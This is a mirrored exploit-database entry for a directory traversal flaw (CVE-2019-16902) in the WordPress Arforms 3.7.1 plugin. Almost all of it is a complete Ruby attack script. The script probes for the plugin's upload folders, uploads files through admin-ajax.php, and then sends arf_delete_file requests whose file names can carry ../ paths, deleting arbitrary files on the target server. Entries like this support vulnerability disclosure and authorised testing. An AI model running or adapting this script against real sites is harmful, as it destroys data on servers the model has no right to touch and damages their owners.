WordPress Plugin Arforms 3.7.1 – Directory Traversal

  • 作者: Ahmad Almorabea
    日期: 2019-10-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47492/
  • # Exploit Title: WordPress Arforms 3.7.1 - Directory Traversal 
    # Date: 2019-09-27
    # Exploit Author: Ahmad Almorabea
    # Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt 
    # Software Link: https://www.arformsplugin.com/documentation/changelog/
    # Version: 3.7.1
    # CVE ID: CVE-2019-16902
    
    #**************Start Notes**************
    # You can run the script by putting the script name and then the URL and the URL should have directory the WordPress folders.
    # Example : exploit.rb www.test.com, and the site should have the WordPress folders in it such www.test.com/wp-contnet.
    # Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
    # But maybe in other forms maybe it's different so you have to change it accordingly.
    # This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on 
    # There is a request file with this Script make sure to put it in the same folder.
    #**************End Notes****************
    
    #!/usr/bin/env ruby
    
    require "net/http"
    require 'colorize'
    
    $host = ARGV[0] || ""
    $session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
    
    
    def start_function ()
    
    puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
    name = STDIN.gets
    
    if $host == ""
    puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
    exit
    end
    
    
    check_existence_arform_folder
    execute_deletion_attack
     
    puts "Done ... see ya" + name 
    
    end
    
    
    def send_checks(files_names)
    
    
     
     
    j = 1
    while j <= files_names.length-1
    
    uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'# Enable HTTPS support if it's HTTPS
    
    request = Net::HTTP::Get.new(uri.request_uri)
    request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
    request["Connection"] = "keep-alive"
    request["Accept-Language"] = "en-US,en;q=0.5"
    request["Accept-Encoding"] = "gzip, deflate"
    request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    
    
    begin
    
    response = http.request(request).code
    puts "The File " + files_names[j] + " has the response code of " + response
    rescue Exception => e
    puts "[!] Failed!"
    puts e
    end
    j = j+1 
    end
    end
    
    
    def check_existence_arform_folder ()
    
     
    
    path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
    $i = 0 
    results = []
    
    while $i <= path_array.length-1
    
    uri = URI.parse("http://#{$host}/#{path_array[$i]}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'# Enable HTTPS support if it's HTTPS
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    results[$i] = response.code
    #puts"response code is : " + response.code
    
    $i +=1
    
    end
    
    puts "****************************************************"
    
    if results[0] == "200" || results[0] =="301"
    
    puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
    else
    puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
    exit
    end
    
    if (results[1] == "200" || results[1] == "301") 
    
    puts "The User Filesfolder isAvailable on the following path : ".green + $host + path_array[1]
    else
    
     puts "We couldn't find the User Files folder, on the following path ".red +$host + path_array[1]
    
    end
    puts "****************************************************"
    
    
    
    end
    
    
    def execute_deletion_attack ()
    
    
    
    puts "How many file you want to delete my man"
    amount = STDIN.gets.chomp.to_i
    
    if(amount == 0)
    puts "You can't use 0 orother strings this input for the amount of file you want to delete so it's an Integer".blue
    exit
    end
    
    file_names = []
    file_names[0] = "143_772_1569713145702_temp3.txt"
    j = 1
     while j <= amount.to_i
    puts "Name of the file number " + j.to_s 
    file_names[j] = STDIN.gets
    file_names[j].strip!
    j = j+1
    end
    
    
    uri = URI.parse("http://#{$host}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https' 
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie
    
    
    
    
    $i = 0
    while $i <= file_names.length-1 
    
    puts "Starting the Attack Journey .. ".green 
    
    uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
    headers =
    {
     'Referer' => 'From The Sky',
     'User-Agent'=> 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
     'Content-Type'=> 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
     'Accept-Encoding' => 'gzip, deflate',
     'Cookie'=> global_cookie,
     'X_FILENAME'=> file_names[$i],
     'X-FILENAME'=> file_names[$i],
     'Connection'=> 'close'
    
     }
    
    http= Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'
    request = Net::HTTP::Post.new(uri.path, headers)
    request.body = File.read("post_file")
    response = http.request request
     
    $i = $i +1 
    end
    
    execute_delete_request file_names,global_cookie,amount.to_i
    
    puts "Finished.........."
    
    end
    
    def execute_delete_request (file_names,cookies,rounds )
    
    
    $i = 0
    
    while $i <= file_names.length-1 
    
    puts "Starting the Attack on file No #{$i.to_s} ".green
    
    uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
    headers =
    {
     'Referer' => 'From The Sky',
     'User-Agent'=> 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
     'Accept'=> '*/*',
     'Accept-Language' => 'en-US,en;q=0.5',
     'X-Requested-With'=> 'XMLHttpRequest',
     'Cookie'=>cookies,
     'Content-Type'=> 'application/x-www-form-urlencoded; charset=UTF-8',
     'Accept-Encoding' => 'gzip, deflate',
     'Connection'=> 'close'
    }
    
    http= Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https' 
    request = Net::HTTP::Post.new(uri.path,headers)
    request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
    response = http.request(request)
    
    if $i != 0
    puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
    end
     $i = $i +1 
     
    end
    
    send_checks file_names
     
    end
    
    
    start_function()